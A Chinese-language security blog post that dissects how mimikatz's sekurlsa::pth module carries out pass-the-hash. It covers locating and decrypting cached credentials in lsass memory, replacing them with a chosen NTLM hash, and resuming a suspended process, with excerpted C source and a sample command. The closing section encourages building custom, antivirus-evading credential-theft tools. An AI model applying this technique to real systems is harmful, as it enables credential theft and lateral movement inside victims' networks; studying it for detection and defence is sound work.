前言
Starcross
Pass-The-Hash(hash传递攻击)是内网渗透实战中一种常见且高效的横向移动方法,现有的实现 Pass-The-Hash 的工具繁多,例如 Impacket 从流量数据层面自定义协议得以实现,mimikatz sekurlsa::pth模块则是通过修改内存的方法从而实现。
了解并掌握Pass-The-Hash的代码实现细节有助于从更深层次的角度来理解渗透。在这篇文章中,我们将从mimikatz源码中逐步解析其sekurlsa::pth模块实现原理。
背景知识
Starcross
通过了解NTLM身份认证步骤我们可知,当客户端向服务端发起协商消息后,将接收到由服务端返还的challenge,客户端使用用户hash与challenge进行加密得到respond后,再将challenge,respond以及username等信息发送至服务端完成身份认证。我们不难发现,身份认证过程中计算respond所需要的只有用户的hash,整个过程中均不需要用户明文密码的参与。Pass-The-Hash正是借助”无需明文参与”这一身份认证特性才得以实现。
我们打开mimikatz的源码,聚焦到sekulsa::pth模块。mimikatz sekulsa::pth模块实现思路是将lsass中缓存的当前用户凭证,通过内存修改替换成攻击者所控制的NTLM hash,使用替换后的用户凭证进行请求网络资源的身份验证。
那么如何才能准确定位到lsass中所缓存hash的具体位置呢?
mimikatz 通过标识 Lsasrv.dll 里面的全局变量(
LogonSessionList 和 LogonSessionListCount
)并且通过扫描内存获取它们的具体地址。LogonSessionListCount为Windows logon session的数目,LogonSessionList为指向KIWI_MSV1_0_LIST结构链表(Windows logon session)的指针。
typedef struct _KIWI_MSV1_0_CREDENTIALS { struct _KIWI_MSV1_0_CREDENTIALS *next; DWORD AuthenticationPackageId; PKIWI_MSV1_0_PRIMARY_CREDENTIALS PrimaryCredentials; } KIWI_MSV1_0_CREDENTIALS, *PKIWI_MSV1_0_CREDENTIALS; typedef struct _KIWI_MSV1_0_PRIMARY_CREDENTIALS { struct _KIWI_MSV1_0_PRIMARY_CREDENTIALS *next; ANSI_STRING Primary; LSA_UNICODE_STRING Credentials; } KIWI_MSV1_0_PRIMARY_CREDENTIALS,*PKIWI_MSV1_0_PRIMARY_CREDENTIALS; KIWI_MSV1_0_LIST.Credentials 指向 KIWI_MSV1_0_CREDENTIALS 结构,再通过KIWI_MSV1_0_CREDENTIALS.PrimaryCredentials,
找到KIWI_MSV1_0_PRIMARY_CREDENTIALS 结构体,KIWI_MSV1_0_PRIMARY_CREDENTIALS.Credentials.Buffer 指向搜寻目标缓存凭证的地址。
所获取的凭证是经过加密处理的,那么这就意味着,如需成功替换NTLM hash,我们首先要清楚lsass加密凭证所用的加密方法以及获取加密密钥。
对凭证加密所用为lsasrv!LsaProtectMemory函数,然而LsaProtectMemory函数实际上是对 LsaEncryptMemory 函数的一个调用,并且LsaEncryptMemory函数又是对 BCryptEncrypt 函数的封装。BCryptEncrypt函数会根据待加密的数据块长度来选择加密算法,如果待加密数据长度能被8整除,那么就会使用AES算法。否则会使用3Des算法。
mimikatz使用kuhl_m_sekurlsa_nt6_LsaProtectMemory函数完成了上述的加密算法以及加密过程。
VOID WINAPI kuhl_m_sekurlsa_nt6_LsaProtectMemory(IN PVOID Buffer, IN ULONG BufferSize) { kuhl_m_sekurlsa_nt6_LsaEncryptMemory((PUCHAR) Buffer, BufferSize, TRUE); } lsasrv!LsaInitializeProtectedMemory函数则是负责对密钥的生成,mimikatz同样是使用标识特征的方法内存搜寻LsaInitializeProtectedMemory函数从而获取密钥。
解析过程
Starcross
mimikatz输入以下命令
sekurlsa::pth /user:root /domain:workgroup
/ntlm:86199d1d8f82957695a40fbe62d3fd8f
定位到 sekurlsa::pth 模块入口 NTSTATUS
kuhl_m_sekurlsa_pth函数,解析user、ntlm、domain等参数后,调用kull_m_process_create函数,实际上是 CreateProcessWithLogonW API 的调用(将user、domain作为参数传入CreateProcessWithLogonW),创建指定凭证的进程,并对进程进行挂起。
紧接着调用OpenProcessToken API获取所创建进程的句柄,通过调用 GetTokenInformation API 来获取进程的 AuthenticationId( 此处用于下文所提到的LogonId 的正确校验 ),接下来调用kuhl_m_sekurlsa_pth_luid函数。
if(kull_m_process_create(KULL_M_PROCESS_CREATE_LOGON, szRun, CREATE_SUSPENDED, NULL, LOGON_NETCREDENTIALS_ONLY, szUser, szDomain, L"", &processInfos, FALSE)) { kprintf(L" | PID %u\n | TID %u\n",processInfos.dwProcessId, processInfos.dwThreadId); if(OpenProcessToken(processInfos.hProcess, TOKEN_READ | (isImpersonate ? TOKEN_DUPLICATE : 0), &hToken)) { if(GetTokenInformation(hToken, TokenStatistics, &tokenStats, sizeof(tokenStats), &dwNeededSize)) { kuhl_m_sekurlsa_pth_luid(&data);
kuhl_m_sekurlsa_pth_luid 函数首先调用
kuhl_m_sekurlsa_acquireLSA函数获取lsass进程中的基本信息,如lsass进程句柄、下文所需的加密密钥以及LogonSessionList的地址等。接下调用kuhl_m_sekurlsa_enum函数。
kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_msv_pth, data);
kuhl_m_sekurlsa_enum 函数先后通过调用 kull_m_memory_copy函数读取lsass进程中LogonSessionListCount以及LogonSessionList的值。遍历LogonSessionList链表,调用回调函数kuhl_m_sekurlsa_enum_callback_msv_pth,通过校验LogonId确定是否找到正确的KIWI_MSV1_0_LIST。如果LogonId正确,则继续调用kuhl_m_sekurlsa_msv_enum_cred函数。
if(SecEqualLuid(pData->LogonId, pthData->LogonId)) { kuhl_m_sekurlsa_msv_enum_cred(pData->cLsass, pData->pCredentials, kuhl_m_sekurlsa_msv_enum_cred_callback_pth, &credData); return FALSE; } else return TRUE;
kuhl_m_sekurlsa_msv_enum_cred函数则是同样先后调用kull_m_memory_copy函数继续读取lsass进程中KIWI_MSV1_0_CREDENTIALS以及KIWI_MSV1_0_PRIMARY_CREDENTIALS的值。紧接着调用
kuhl_m_sekurlsa_msv_enum_cred_callback_pth回调函数对所获取凭证进行解密,对解密后的凭证进行修改、替换,如LM、SHA以及DPAPI保护属性设置为FALSE,长度设置为0,表明凭证不包含这些hash值。isNtOwfPassword属性设置为TRUE,表明凭证中存在NTLM hash,NtOwfPassword设置为被替换的NTLM hash。接着使用kuhl_m_sekurlsa_nt6_LsaProtectMemory函数对修改、替换后的凭证做加密处理,再写入lsass进程中,覆盖其原有凭证。
*(PBOOLEAN) (msvCredentials + helper->offsetToisLmOwfPassword) = FALSE; if(helper->offsetToisIso) *(PBOOLEAN) (msvCredentials + helper->offsetToisIso) = FALSE; if(helper->offsetToisDPAPIProtected) { *(PBOOLEAN) (msvCredentials + helper->offsetToisDPAPIProtected) = FALSE; RtlZeroMemory(msvCredentials + helper->offsetToDPAPIProtected, LM_NTLM_HASH_LENGTH); } RtlZeroMemory(msvCredentials + helper->offsetToLmOwfPassword, LM_NTLM_HASH_LENGTH); RtlZeroMemory(msvCredentials + helper->offsetToShaOwPassword, SHA_DIGEST_LENGTH); if(pthDataCred->pthData->NtlmHash) { *(PBOOLEAN) (msvCredentials + helper->offsetToisNtOwfPassword) = TRUE; RtlCopyMemory(msvCredentials + helper->offsetToNtOwfPassword, pthDataCred->pthData->NtlmHash, LM_NTLM_HASH_LENGTH); } else { *(PBOOLEAN) (msvCredentials + helper->offsetToisNtOwfPassword) = FALSE; RtlZeroMemory(msvCredentials + helper->offsetToNtOwfPassword, LM_NTLM_HASH_LENGTH); } (*pthDataCred->pSecData->lsassLocalHelper->pLsaProtectMemory)(msvCredentials, pCredentials->Credentials.Length); 最后返回到 kuhl_m_sekurlsa_pth 函数,
NtResumeProcess(processInfos.hProcess)恢复开始时挂起的进程即完成凭证的修改,输入命令如dir,即成功完成一次hash传递攻击。
总结
Starcross
mimikatzt 作为渗透神兵,赫赫有名,却也因此被各大杀软围追堵截,导致其免杀性并不理想。了解了sekulsa::pth模块的代码细节以及实现原理后,借鉴神兵,我们可以根据场景的不同,灵活打造属于自己的Pass-The-Hash、明文获取自定义武器。
参考链接:
https://www.ampliasecurity.com/research/WCE_Internals_RootedCon2011_ampliasecurity.pdf
https://blog.xpnsec.com/exploring-mimikatz-part-1/
往期精彩
星阑科技
微信号|StarCrossCN
知乎号 | 星阑科技